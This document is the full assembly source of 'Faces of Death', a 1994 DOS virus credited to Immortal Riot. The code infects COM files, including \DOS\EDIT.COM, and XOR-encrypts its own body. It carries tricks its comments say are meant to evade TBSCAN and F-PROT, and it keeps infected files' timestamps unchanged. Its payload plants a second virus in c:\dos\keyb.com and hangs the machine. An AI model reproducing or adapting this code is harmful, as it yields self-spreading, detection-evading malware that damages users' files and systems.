; ------------------------------------------------------------------------------
;
;                       - Faces of Death -
;       Created by Immortal Riot's destructive development team
;              (c) 1994 The Unforgiven/Immortal Riot 
;
; ------------------------------------------------------------------------------
;         þ Undetectable COM-infector(s) with a neat pay-load system! þ
; ------------------------------------------------------------------------------
.model tiny
.radix 16
.code
org    100h

start:

first_gen_buffer db 00,00,00,00   ; for first generation only!    

v_start:

entry_point:

mov     sp,102h                   ; get the delta offset so tbscan cant
call    get_delta                 ; flag it as flexible entry point
get_delta:                         
mov     bp,word ptr ds:[100h]      
mov     sp,0fffeh                  
sub     bp,offset get_delta       


mov     ax,0305h                  ; this code was included to avoid detection
xor     bx,bx                     ; from tbscan. The vsafe disabeling code can
int     16h                       ; be used as well, but f-prot heuristics
				  ; complains about it.
				 
call    en_de_crypt               ; decrypt the virus
jmp     short real_start          ; and continue...

encrypt_value dw 0                ; random xor (encryption) value 

write_virus:

call    en_de_crypt               ; write encrypted copy of the virus
mov     ah,40                     ; 
mov     cx,code_end-v_start       ; # bytes
lea     dx,[bp+v_start]           ; dx:100h         
int     21                        ;
call    en_de_crypt               ; decrypt virus again for further processing
ret

en_de_crypt:

mov     ax,word ptr [bp+encrypt_value]       
lea     si,[bp+real_start]                        
mov     cx,(enc_end-real_start+1)/2

xor_loopie:

xor     word ptr [si],ax          ; encrypts two bytes/loop until all 
inc     si                        ; code between real_start and enc_end
inc     si                        ; are encrypted
loop    xor_loopie
ret

real_start:

cmp     word ptr cs:[5dh],'?-'    ; check for -? in the command line
jne     chk_cond                  ; no valid virus option!

mov     ah,9                      ; tell them that i wrote the virus,
lea     dx,[bp+offset v_name]     ; and quit without infecting!
int     21h
int     20h

chk_cond:

mov     ah,2ch                    ; get time of 1/100 of a second value from
int     21h                       ; the system clock

cmp     dl,58                     ; value == 58h (88d)
jne     get_drive                 ; nope!

cr_file:                          ; value = 58h

mov     ah,3ch                    ; create the file c:\dos\keyb.com
mov     cx,0                      ; Doh! One byte wasted!
lea     dx,[bp+file_create]
int     21h

xchg    ax,bx                        
mov     ah,40h                    ; write the
mov     cx,len                    ; 80hex virus,
lea     dx,[bp+write]             ; from this virus
int     21h                       ; to keyb.com

mov     ah,3eh                        ; close file
lea     dx,[bp+offset file_create]    ; c:\dos\keyb.com
int     21h                            
jmp     $                             ; and hang 

get_drive:                        

mov     ah,19h                    ; get drive from where we are executed from
int     21h                       ; check if it's a: or b:
cmp     al,2                      ; if so, return control to the original
jb      quit                      ; program without infecting other files

lea     si,[bp+org_buf]           ; copy the first four bytes of the file
mov     di,100                    ; (from di:100h) to org_buf
movsw                             ;
movsw                             ;              

lea     dx,[bp+code_end]          ; set our own dta to code_end, so
call    set_dta                   ; the paramters when findfiles arent
				  ; destroyed

lea     dx,[bp+direct_infect]     ; if present, infect
call    dirinfect                 ; \dos\edit.com

mov     ah,4e                     ; search for com files
lea     dx,[bp+com_files]         ; 
find_next:
int     21

jc      no_more_files             ; no more files find, exit!
call    infect                    ; found a find, infect it!

mov     ah,4f                     ; search next file
jmp     short find_next           ; and see if we find one

no_more_files:                    ;
mov     dx,80                     ; set the dta to 80h (default)          
call    set_dta                   ; 

quit:                             ;
mov     di,100                    ; return control to original program     
push    di                        ; 
ret                                           

infect:
lea     dx,[bp+code_end+1e]       ; 1e = adress to filename in ds:dx in our 
				  ; new dta area!
dirinfect:

mov     ax,3d02                   ; open file 
int     21                        ; in read/write mode

jnc     infect_it                 ; if the file \dos\edit.com doesnt exist
ret                               ; return, and search first comfile

infect_it:
xchg    bx,ax                     ; filehandle in bx

mov     ax,5700                   ; get time/date
int     21

push    dx                        ; save date
push    cx                        ; save time

mov     ah,3f                     ; read the first four bytes
mov     cx,4                      ; of the file to org_buf
lea     dx,[bp+org_buf]  
int     21                                     

cmp     byte ptr [bp+org_buf+3],07h            ; previous infected
jz      finish_infect                          ; 

cmp     word ptr [bp+org_buf],9090h            ; double nop
jz      finish_infect                          ; 

cmp     word ptr [bp+org_buf],5a4dh            ; ZM (exe file)
jz      finish_infect                          ;

cmp     word ptr [bp+org_buf],4d5ah            ; MZ (exe-file)
jz      finish_infect                          ;
						
cmp     byte ptr [bp+org_buf+1],6Dh            ; command.com
jz      finish_infect                          ;

mov     ax, word ptr [bp+code_end+1ah]         ; <1000 bytes
cmp     ax,1000d                               ;
jb      finish_infect

cmp     ax,64000d                              ; >64000 bytes
ja      finish_infect                          ;

mov     ax,4202                                ; move file-pointer
xor     cx,cx                                  ; to end of file
cwd
int     21

sub     ax,3                                   ; substract bytes
mov     word ptr [bp+first_four+1],ax          ; to our own jump

get_value:

mov     ah,2ch                                 ; get system clock for
int     21h                                    ; 1/100 of a second
jz      get_value                              ; if zero = get new value
add     ax,3                                   ; this will be used for
mov     word ptr [bp+encrypt_value],dx         ; the xor-value
call    write_virus                            ; write virus to end of file

mov     ax,4200                   ; move file-pointer to
xor     cx,cx                     ; top of file
cwd
int     21

mov     ah,40                     ; write our own jump  
mov     cx,4                      ; instruction to the
lea     dx,[bp+first_four]        ; beginning
int     21                                               

finish_infect:                                 
mov     ax,5701                   ; set back
pop     cx                        ; time
pop     dx                        ; date
int     21                        ; 

mov     ah,3e                     ; close file
int     21

ret                               ; return and continue!

set_dta:
mov     ah,1a                     ; code to set the disk transfer area 
int     21                        ; 
ret

v_name           db   "Faces of Death - (c) 1994 The Unforgiven/Immortal Riot$"

direct_infect    db      '\DOS\EDIT.COM',0                         
file_create      db      'c:\dos\keyb.com',0

write            db      "þJ€ÄNºJÍ!s´,Í!€úOr°¹
endwrite:                

len              equ     endwrite-write

com_files        db      '*.com',0                 
first_four       db      0e9,90,90,07     ; buffer to calculate the new entry
org_buf          db      90,90,0CDh,20    ; buffer to save the first four bytes
enc_end:         

code_end:
end start